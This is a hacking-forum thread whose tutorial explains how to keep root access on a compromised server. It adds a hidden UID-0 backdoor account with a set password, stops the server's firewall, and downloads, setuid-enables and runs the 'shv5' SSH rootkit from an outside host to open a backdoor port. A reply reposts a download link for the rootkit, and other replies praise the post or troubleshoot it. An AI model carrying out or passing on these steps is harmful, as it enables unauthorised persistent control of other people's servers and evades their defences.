Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TUT] How to Save Root on Hacked Server + Close Firewall + Add Root User [Method 1]

Greetings Ladies


In this tutorial you will be learning :
  • Create a new User with Root Privilege
  • Closing Server's Firewall
  • Save Root if Password Changed Or User got Deleted

Requirments :

- rooted server with ssh access
- Putty
- Tools (Provided at the end of Topic)


Chapter 1 : Connecting with Putty


All we have to do here is Just

1) Open Putty
2) Enter Server IP and Port
3) Connect
4) Type username and Pass


Now we will see something like this :

[img]http://www4.picturepush.com/photo/a/8288937/1024/Anonymous/Capture1.png[/img]

Now we should type :

Code
/usr/sbin/useradd -o -u  0 hackforums
passwd hackforums
hf300!

Here We created a user called 'hackforums' with password 'hf300!'
now lets Logout and Login as 'hackforums'

[img]http://www1.picturepush.com/photo/a/8288939/1024/Anonymous/Capture2.png[/img]

now lets type :
Code
whoami

when you see 'root' then we have successfully added new root user

Chapter 2 (Saving our Root)


Now after we Login to ssh
We have to close the firewall of the Server, Just by typing :

Code
/etc/init.d/ipaliases stop

Now we have to Upload the 'shv5.zip'

Now what does this zip do ?
It Simply Add new ssh Connection with new root and new Connection Port

P.S. there are 3 ways to Save Root I will only be teaching only one in this Tutorial

Okey now we have to upload shv5.zip by using this Command :

Code
wget http://site.com/shv5.zip

[img]http://www2.picturepush.com/photo/a/8288955/1024/Anonymous/Capture3.png[/img]

this will download file to Server .. Now after we download it we will unzip it by using this command :
Code
unzip shv5.zip

Now after we unzip it we have to Enter the shv5 dir by typing :
Code
cd shv5

and changing chmod to setup file to 4577 :
Code
chmod 4755 setup

./setup hackforums 754

Run Command
- Filename - Username for new connection - ssh Port

And Now we Are done just relax your back till it finish. Now after it finished you may get an Error .. just ignore it and close putty and Open it again with new Port number and Username and Enjoy ^.^

Shout Outs :

- ๖ۣۜΗ α x O r ♥
- -DownFall
- BeggfoMercy
- Joomlafkr

Tools :

- shv5.zip Click Here


victory2u✌
[Image: wUM0U9C.png]
Thanks for the Shout-out buddy !
and great tutorial , now we are speaking of rootkits in HF , that's awesome

Great work !
Thanks for the shout out buddy <3 , And really nice tut u got their , Keep it up
Team INTRA
Nice and educating tutorial but the link to the tools is suspended
Thanks a lot for the great tut.
Cheer!
Judging from the quality of the information provided, OP doesn't understand any of it and couldn't tell me what to do if /usr/sbin/useradd wasn't present or had been renamed.

Challenge accepted?

Oh, for the retard above talking about rootkits, plz understand what a rootkit is.

https://en.wikipedia.org/wiki/Rootkit
It's not silent at all by adding another root or user. I would not do it if it's not necessary to add another user.
This is nice man thank's for sharing this :)
[Image: QUuwMu9.png?1]
great tutorial keep up the good work :D
your links are dead here is a new one http://www.dropbox.com/s/aumgskc9swup0nn/shv5.zip
Thanks a lot for the great tut ✌
this is an awesome share and i believe this tutor help alot of readers one way or the other
Very similar to Hax0r's tutorial and I personally believe his one is better. Still tho, good stuff.
when i introduce the first comand with adduser appear: like this:

/usr/sbin/useradd -o -u 0 bobo
Adding user `bobo' ...
Adding new group `bobo' (1001) ...
Adding new user `bobo' (1001) with group `bobo' ...
Creating home directory `/home/bobo' ...
Copying files from `/etc/skel' ...
Password:
Password again:

after i put a passowr chose by my self , i recive this:

Changing the user information for bobo
Enter the new value, or press ENTER for the default

i press aneter too be default,but i recive this:

Username []:
Must enter a value!

and when i ty too put some info

Username []: b
Full Name []: a
Room Number []: a
Work Phone []: 23245454435
Home Phone []: 8675644434
Mobile Phone []: 53453475
Country []: us
City []: ny
Language []: en
Favorite movie []: x-man
Other []: d33

Is the information correct? [Y/n] y
ERROR: Some of the information you entered is invalid
Deleting user `bobo' ...
Deleting group `bobo' (1001) ...
Deleting home directory `/home/bobo' ...
Try again? [Y/n] n

what i do?
hey man this is so nice ! i never know this can be doing like this ! seriously this is so amazing ! thanks for your sharing man ! your kindness would be appreciate !


Possibly Related Threads...
Thread / Author Replies Views Last Post
by B0RU70Apr 9, 2018 06:34 AM 0 243 Apr 9, 2018 06:34 AM
Last Post: B0RU70
by ViRuzModzHDOct 23, 2016 12:18 PM 0 129 Oct 23, 2016 12:18 PM
Last Post: ViRuzModzHD
by TaxSep 13, 2015 01:32 AM 0 125 Sep 13, 2015 01:32 AM
Last Post: Tax